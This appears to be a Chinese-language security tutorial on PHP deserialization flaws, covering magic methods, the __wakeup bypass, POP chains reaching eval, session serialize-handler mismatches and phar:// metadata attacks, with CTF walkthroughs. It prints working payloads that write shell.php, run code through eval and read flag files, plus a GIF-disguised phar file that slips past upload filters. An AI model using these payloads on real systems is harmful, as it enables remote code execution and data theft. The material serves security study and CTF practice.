定义:利用serialize()
函数将一个对象转换为字符串形式
我们先看一下直接输出对象是什么效果,代码如下
<?php class test{ public $name="ghtwf01"; public $age="18"; } $a=new test(); print_r($a); ?>
效果如下
这个时候我们利用serialize()
函数将这个对象进行序列化成字符串然后输出,代码如下
<?php class test{ public $name="ghtwf01"; public $age="18"; } $a=new test(); $a=serialize($a); print_r($a); ?>
效果如下
如果不是public
方法那么后面的读取方法就有点不一样,例如代码如下
<?php class test{ public $name="ghtwf01"; private $age="18"; protected $sex="man"; } $a=new test(); $a=serialize($a); print_r($a); ?>
效果如下
private分析:
这样就发现本来是age
结果上面出现的是testage
,而且testage
长度为7
,但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名,%00
占一个字节长度,所以age
加了类名后变成了testage
长度为9
protect分析:
本来是sex
结果上面出现的是*sex
,而且*sex
的长度是4
,但是上面显示的是6
,同样查找资料后发现protect属性序列化的时候格式是%00*%00成员名
这里介绍一下public、private、protected的区别
public(公共的):在本类内部、外部类、子类都可以访问 protect(受保护的):只有本类或子类或父类中可以访问 private(私人的):只有本类内部可以使用
定义:反序列化就是利用unserailize()
函数将一个经过序列化的字符串还原成php代码形式,代码如下
<?php $b='序列化字符串'; $b=unserialize($b); ?>
到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系
这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了
附上讲解魔术方法的链接:https://segmentfault.com/a/1190000007250604
__construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用 __sleep() 在对象在被序列化之前运行 __wakeup将在序列化之后立即被调用
我们用代码演示一下这些魔术方法的使用效果
<?php class test{ public $a='hacked by ghtwf01'; public $b='hacked by blckder02'; public function pt(){ echo $this->a.'<br />'; } public function __construct(){ echo '__construct<br />'; } public function __destruct(){ echo '__construct<br />'; } public function __sleep(){ echo '__sleep<br />'; return array('a','b'); } public function __wakeup(){ echo '__wakeup<br />'; } } //创建对象调用__construct $object = new test(); //序列化对象调用__sleep $serialize = serialize($object); //输出序列化后的字符串 echo 'serialize: '.$serialize.'<br />'; //反序列化对象调用__wakeup $unserialize=unserialize($serialize); //调用pt输出数据 $unserialize->pt(); //脚本结束调用__destruct ?>
运行效果如下:
原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct
这里我们看一个存在反序列化漏洞的代码
<?php class A{ public $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['value']; $a_unser = unserialize($a); ?>
这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有echo
,我们尝试一下在这个页面显示hacked by ghtwf01
的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为A
,对象名为test
)
<?php class A{ public $test="hacked by ghtwf01"; } $b= new A(); $result=serialize($b); print_r($result); ?>
这样就得到这段字符序列化后的内容
将它传入目标网页,返回结果如下
既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333,到这里应该懂得点什么叫反序列化漏洞了
一道简单的反序列化考点题
http://120.79.33.253:9001/
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
题目的大意就是反序列化一个变量后的值等于D0g3!!!
,这个变量是用户输入的,于是我们写代码将D0g3!!!
序列化
<?php $a="D0g3!!!"; $b=serialize($a); echo $b; ?>
得到序列化后的内容是
将序列化后的内容传入得到flag
现在再来一道bugku的反序列化题
welcome to bugctf(这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下)
index.php
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>
代码有点长我们先来分析一下这串代码想表达什么
1.先GET
传入参数$txt
、$file
、$password
2.判断$txt
是否存在,如果存在并且值为welcome to the bugkuctf
就进一步操作,$file
参数里面不能包含flag
字段
3.通过以上判断就include($file)
,再将$password
反序列化并输出
hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
index.php
里面要求$file
参数不能包含flag
字段,所以文件不能包含flag.php
,所以$file=hint.php
,把hint.php
包含进去,里面存在一个file_get_concents函数
可以读文件,想到index.php
里面的unserialize
函数,所以只需要控制$this->file
就能读取想要的文件
用这段代码的结果传值给$password
<?php class Flag{ public $file='flag.php'; } $a=new Flag(); $b=serialize($a); echo $b; ?>
$password
进行反序列化后$file
就被赋值为flag.php
,然后file_get_contents
就得到了flag
再来一个反序列化漏洞利用例子,代码如下
<?php class foo{ public $file = "2.txt"; public $data = "test"; function __destruct(){ file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data); } } $file_name = $_GET['filename']; print "You have readfile ".$file_name; unserialize(file_get_contents($file_name)); ?>
这串代码的意思是将读取的文件内容进行反序列化,__destruct
函数里面是生成文件,如果我们本地存在一个文件名是flag.txt
,里面的内容是
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:18:"<?php phpinfo();?>";}
将它进行反序列化就会生成shell.php
里面的内容为<?php phpinfo();?>
__wakeup魔法函数简介
unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup()
方法,预先准备对象需要的资源
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行
漏洞影响版本:
php5 < 5.6.25
php7 < 7.0.10
漏洞复现:
代码如下
<?php class A{ public $target = "test"; function __wakeup(){ $this->target = "wakeup!"; } function __destruct(){ $fp = fopen("D:\Program Files\PHPTutorial\WWW\zx\hello.php","w"); fputs($fp,$this->target); fclose($fp); } } $a = $_GET['test']; $b = unserialize($a); echo "hello.php"."<br/>"; include("./hello.php"); ?>
魔法函数__wakeup()
要比__destruct()
先执行,所以我们之间传入
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
时会被先执行的__wakeup()
函数$target
赋值覆盖为wakeup!
,然后生成的hello.php
里面的内容就是wakeup!
现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行,对象个数原来是1我们将其改为2,也就是
O:2:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
就能实现绕过
上面说了private
和protected
返回长度和public
不一样的原因,这里再写一下
private属性序列化的时候格式是%00类名%00成员名 protect属性序列化的时候格式是%00*%00成员名
protected
情况下,代码如下
<?php class A{ protected $test = "hahaha"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $b = unserialize($a); ?>
利用方式:
先用如下代码输出利用的序列化串
<?php class A{ protected $test = "hacked by ghtwf01"; } $a = new A(); $b = serialize($a); print_r($b); ?>
得到O:1:"A":1:{s:7:"*test";s:17:"hacked by ghtwf01";}
因为protected
是*
号两边都有%00
,所以必须在url
上面也加上,否则不会利用成功
private
情况下,代码如下
<?php class A{ private $test = "hacked by ghtwf01"; } $a = new A(); $b = serialize($a); print_r($b); ?>
利用代码这里省略吧,同上面,得到序列化后的字符串为O:1:"A":1:{s:7:"Atest";s:17:"hacked by ghtwf01";
因为private
是类名A
两边都有%00
所以同样在url
上面体现
代码如下
<?php class A{ public $target; function __construct(){ $this->target = new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } class C{ public $test; function action(){ echo "action A"; eval($this->test); } } unserialize($_GET['test']); ?>
这个例子中,class B
和class C
有一个同名方法action
,我们可以构造目标对象,使得析构函数调用class C
的action
方法,实现任意代码执行
利用代码
<?php class A{ public $target; function __construct(){ $this->target = new C; $this->target->test = "phpinfo();"; } function __destruct(){ $this->target->action(); } } class C{ public $test; function action(){ echo "action C"; eval($this->test); } } echo serialize(new A); ?>
session
英文翻译为"会话",两个人聊天从开始到结束就构成了一个会话。PHP
里的session
主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期
会话的工作流程很简单,当开始一个会话时,PHP
会尝试从请求中查找会话 ID
(通常通过会话 cookie
),如果发现请求的Cookie
、Get
、Post
中不存在session id
,PHP
就会自动调用php_session_create_id
函数创建一个新的会话,并且在http response
中通过set-cookie
头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post
都不存在session id
,于是就使用了set-cookie
头
有时候浏览器用户设置会禁止 cookie
,当在客户端cookie
被禁用的情况下,php
也可以自动将session id
添加到url
参数中以及form
的hidden
字段中,但这需要将php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set
来设置这个配置项
会话开始之后,PHP
就会将会话中的数据设置到 $_SESSION
变量中,如下述代码就是一个在 $_SESSION
变量中注册变量的例子:
<?php session_start(); if (!isset($_SESSION['username'])) { $_SESSION['username'] = 'ghtwf01' ; } ?>
代码的意思就是如果不存在session
那么就创建一个session
也可以用如下流程图表示
php.ini
里面有如下六个相对重要的配置
session.save_path="" --设置session的存储位置 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数 session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动 session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用 session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy
下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下 session.save_handler = files --表明session是以文件的方式来进行存储的 session.auto_start = 0 --表明默认不启动session session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎 session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量 session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
上文中提到了 PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid
形式
打开看一下全是序列化后的内容
现在我们来看看session.serialize_handler
,它定义的引擎有三种
| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
首先来看看session.serialize_handler
等于php
时候的序列化结果,代码如下
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
session
的sessionid
其实可以看到的,为i38age8ok4bofpiuiku3h20fh0
于是我们到session
存储目录查看一下session
文件内容
session
为$_SESSION['session']
的键名,|
后为传入GET
参数经过序列化后的值
再来看看session.serialize_handler
等于php_binary
时候的序列化结果
<?php error_reporting(0); ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['sessionsessionsessionsessionsession'] = $_GET['session']; ?>
为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35
,35
对应的 ASCII
码为#
,所以最终的结果如下
#
为键名长度对应的 ASCII
的值,sessionsessionsessionsessionsessions
为键名,s:7:"xianzhi";
为传入 GET
参数经过序列化后的值
最后就是session.serialize_handler
等于php_serialize
时候的序列化结果,代码如下
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
结果如下
a:1
表示$_SESSION
数组中有 1
个元素,花括号里面的内容即为传入GET
参数经过序列化后的值
php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入 |
, 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
我们创建一个session.php
,用于传输session
值,里面代码如下
<?php error_reporting(0); ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['session'] = $_GET['session']; ?>
再创建一个hello.php
,里面代码如下
<?php error_reporting(0); ini_set('session.serialize_handler','php'); session_start(); class D0g3{ public $name = 'panda'; function __wakeup(){ echo "Who are you?"; } function __destruct(){ echo '<br>'.$this->name; } } $str = new XianZhi(); ?>
这两个文件的作用很清晰,session.php
文件的处理器是php_serialize
,hello.php
文件的处理器是php
,session.php
文件的作用是传入可控的 session
值,hello.php
文件的作用是在反序列化开始前输出Who are you?
,反序列化结束的时候输出name
值
运行一下hello.php
看一下效果
我们用如下代码来复现一下session
的反序列化漏洞
<?php class D0g3{ public $name = 'ghtwf01'; function __wakeup(){ echo "Who are you?"; } function __destruct(){ echo '<br>'.$this->name; } } $str = new D0g3(); echo serialize($str); ?>
输出结果为
因为session
是php_serialize
处理器,所以允许|
存在字符串中,所以将这段代码序列化内容前面加上|
传入session.php
中
现在来看一下存入session
文件的内容
再打开hello.php
题目链接:http://web.jarvisoj.com:32784/
题目中给出如下代码
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php')
,想到可不可能是session
反序列化漏洞,看一下phpinfo
,发现session.serialize_handler
设置如下
local value(当前目录,会覆盖master value内容):php master value(主目录,php.ini里面的内容):php_serialize
这个很明显就存在php session
反序列化漏洞,但是入口点在哪里,怎么控制session
的值
在phpinfo
里面看到了
session.upload_progress.enabled on session.upload_progress.cleanup off
当一个上传在处理中,同时POST
一个与INI
中设置的session.upload_progress.name
同名变量时,当PHP
检测到这种POST
请求时,它会在$_SESSION
中添加一组数据。所以可以通过Session Upload Progress
来设置session
允许上传且结束后不清除数据,这样更有利于利用
在html
网页源代码上面添加如下代码
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
接下来考虑如何利用
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO { public $mdzz='print_r(scandir(dirname(__FILE__)));'; } $obj = new OowoO(); echo serialize($obj); ?>
得到
为了防止转义,在每个双引号前加上\
,即
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
点击提交,burpsuite
抓包将filename
的值改为它
查询到当前目录有哪些文件了,在phpinfo
里面查看到当前目录路径
于是我们利用
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
来读取Here_1s_7he_fl4g_buT_You_Cannot_see.php
中的内容,同样的道理加上\
后将filename
改为
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag
一个php
应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window
操作系统上面的安装程序、一个jquery
库等等,为了做到这点php
采用了phar
文档文件格式,这个概念源自java
的jar
,但是在设计时主要针对 PHP 的 Web 环境,与 JAR
归档不同的是Phar
归档可由 PHP
本身处理,因此不需要使用额外的工具来创建或使用,使用php
脚本就能创建或提取它。phar
是一个合成词,由PHP
和 Archive
构成,可以看出它是php
归档文件的意思(简单来说phar
就是php
压缩文档,不经过解压就能被 php
访问并执行)
stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>; manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储 contents:压缩文件的内容 signature:签名,放在文件末尾
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多
php.ini中设置为phar.readonly=Off php version>=5.3.0
漏洞成因:phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化
根据文件结构我们来自己构建一个phar
文件,php
内置了一个Phar
类来处理相关操作
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
可以很明显看到manifest
是以序列化形式存储的
有序列化数据必然会有反序列化操作,php
一大部分的文件系统函数在通过phar://
伪协议解析phar
文件时,都会将meta-data
进行反序列化
在网上扒了一张图
用如下demo证明
<?php class TestObject { public function __destruct() { echo 'hello ghtwf01'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如file_exists
函数,代码如下
<?php class TestObject { public function __destruct() { echo 'hello ghtwf01'; } } $filename = 'phar://phar.phar/a_random_string'; file_exists($filename); ?>
在前面分析phar
的文件结构时可能会注意到,php
识别phar
文件是通过其文件头的stub
,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar
文件伪装成其他格式的文件
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new TestObject(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
采用这种方法可以绕过很大一部分上传检测
phar文件需要上传到服务器端 要有可用的魔术方法作为“跳板” 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
upload.php
白名单只允许上传jpg,png,gif
<!DOCTYPE html> <html> <head> <title>文件上传</title> </head> <body> <form method="post" enctype="multipart/form-data"> <input type="file" name="pic" /> <input type="submit" value="上传"/> </body> </html> <?php header("Content-type:text/html;charset=utf-8"); $ext_arr=array('.jpg','.png','.gif'); if(empty($_FILES)){ echo "请上传文件"; }else{ define("PATH",dirname(__DIR__)); $path=PATH."/"."upload"."/"."images"; $filetype=strrchr($_FILES["pic"]["name"],"."); if(in_array($filetype,$ext_arr)){ move_uploaded_file($_FILES["pic"]["tmp_name"],$path."/".$_FILES["pic"]["name"]); echo "上传成功!"; }else{ echo "只允许上传.jpg|.png|.gif类型文件!"; } } ?>
file_exists.php
验证文件是否存在,漏洞利用点:file_exists()
函数
<?php $filename=$_GET['filename']; class ghtwf01{ public $a = 'echo exists;'; function __destruct() { eval($this -> a); } } file_exists($filename); ?>
构造phar文件
<?php class ghtwf01{ public $a = 'phpinfo();'; function __destruct() { eval($this -> a); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new ghtwf01(); $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
改后缀名为gif
,然后上传,最后在file_exists.php
利用漏洞
https://www.freebuf.com/articles/web/206249.html
http://mini.eastday.com/mobile/190306223633207.html#
https://www.jianshu.com/p/54e93e92ba9e
https://www.jb51.net/article/79144.htm
https://xz.aliyun.com/t/6640
https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/u011474028/article/details/54973571
https://xz.aliyun.com/t/2715
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/